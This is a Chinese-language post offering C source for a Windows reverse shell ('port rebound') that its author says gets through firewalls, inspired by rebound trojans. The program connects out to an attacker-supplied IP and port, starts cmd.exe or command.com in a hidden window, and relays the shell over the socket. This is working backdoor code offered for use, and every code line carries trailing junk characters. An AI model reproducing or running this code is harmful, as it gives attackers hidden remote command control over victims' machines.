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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %t%D|cf  
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/* ==============================  AtP!.p"j  
Rebound port in Windows NT ivvm.7{  
By wind,2006/7 lL*"N|Y  
===============================*/ AS a)xf9  
#include [#2X  
#include Z`>m   
@DK`#,  
#pragma comment(lib,"wsock32.lib") `%$+rbo~  
lI;ACF^  
void OutputShell(); zd3^k<  
SOCKET sClient; ~N8$abQJV  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; eV\VR !!i  
mA4]c   
void main(int argc,char **argv) *rmM2{6  
{ S'=}eeG  
WSADATA stWsaData; 7w.9PNhy  
int nRet; uE'Kk8  
SOCKADDR_IN stSaiClient,stSaiServer; RP%FMb}nt  
*#j_nNM4  
if(argc != 3) -EG=}uT['b  
{ :_kZkWD5  
printf("Useage:\n\rRebound DestIP DestPort\n"); k; ned  
return; }r|$\ms  
} qsdgG1<  
|)%;B%  
WSAStartup(MAKEWORD(2,2),&stWsaData); V(0V$&qipc  
g1&q6wCg|  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); > mEB,  
z)%]# QO  
stSaiClient.sin_family = AF_INET; pQk@ +r  
stSaiClient.sin_port = htons(0); "ed A  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^<Zye>KO  
WU~L#Ih.V  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) uYXkD#{  
{ N]&:xd5  
printf("Bind Socket Failed!\n"); `{xKU8j^  
return; "f>`ZFp^  
} N ZZc[P  
j5G=ZI86y  
stSaiServer.sin_family = AF_INET; ,YF1* 69  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); KdC'#$  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); mJ+mTA5bW  
=}2k+v-B  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @j=rS S  
{ /.Jq]"   
printf("Connect Error!"); f}7/UGd  
return; 9S8V`aC  
} TnJNs  
OutputShell(); nTr{ D&JS  
} ;8yEhar  
URj2 evYW  
void OutputShell() abg` : E  
{ *@g>~q{`  
char szBuff[1024]; Vj6 w7hz  
SECURITY_ATTRIBUTES stSecurityAttributes; l]S%k&  
OSVERSIONINFO stOsversionInfo; ?fQ8Ff  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; HH|N~pBJB  
STARTUPINFO stStartupInfo; 5?8jj  
char *szShell; o`{^ptu1q  
PROCESS_INFORMATION stProcessInformation; \12y,fOJ  
unsigned long lBytesRead; v>sjS3  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?P(U/DS8  
@# GS4I  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); nRcy`A%  
stSecurityAttributes.lpSecurityDescriptor = 0; 5QZ}KNJ|t~  
stSecurityAttributes.bInheritHandle = TRUE; x2tcr+o  
d t^Hd]+^\  
!nTI(--  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); vo^2k13  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); R[}fr36>/  
<STE~ZmO  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %Q zk aXJ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,Gy2$mglB  
stStartupInfo.wShowWindow = SW_HIDE; OXF/4Oe  
stStartupInfo.hStdInput = hReadPipe; =J'&.@Dwz  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Pp`[E/ qj4  
xPzBbe  
GetVersionEx(&stOsversionInfo); :]9CdkaU  
@P<aTRy,f  
switch(stOsversionInfo.dwPlatformId) dlBr2 9  
{ K k|mV&3J  
case 1: A5RM&y  
szShell = "command.com"; o>A']+`E u  
break; _Q7]Dw/w\  
default: {2L V0:k2  
szShell = "cmd.exe"; synueg  
break; qq>Qi(>  
} p']{WLDj2  
vCn\_Nu;W&  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~=?^v[T1  
dY`P  
send(sClient,szMsg,77,0); JN3&(t  
while(1) #Ht;5p>5  
{ ko6[Ej:TBo  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {~ 1 ~V  
if(lBytesRead) s,-}}6WO  
{ /}nq?Vf  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7E;`1lh7  
send(sClient,szBuff,lBytesRead,0); vGchKN~_  
} lf_q6y  
else q>[}JtXK  
{ (Ji=fh+  
lBytesRead=recv(sClient,szBuff,1024,0); SyI i*dH  
if(lBytesRead<=0) break; Nh1, w  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _^`TG]F  
} %!]CP1S  
} n,Q^M$mS0  
;n.SRy6  
return; VN]j*$5   
}
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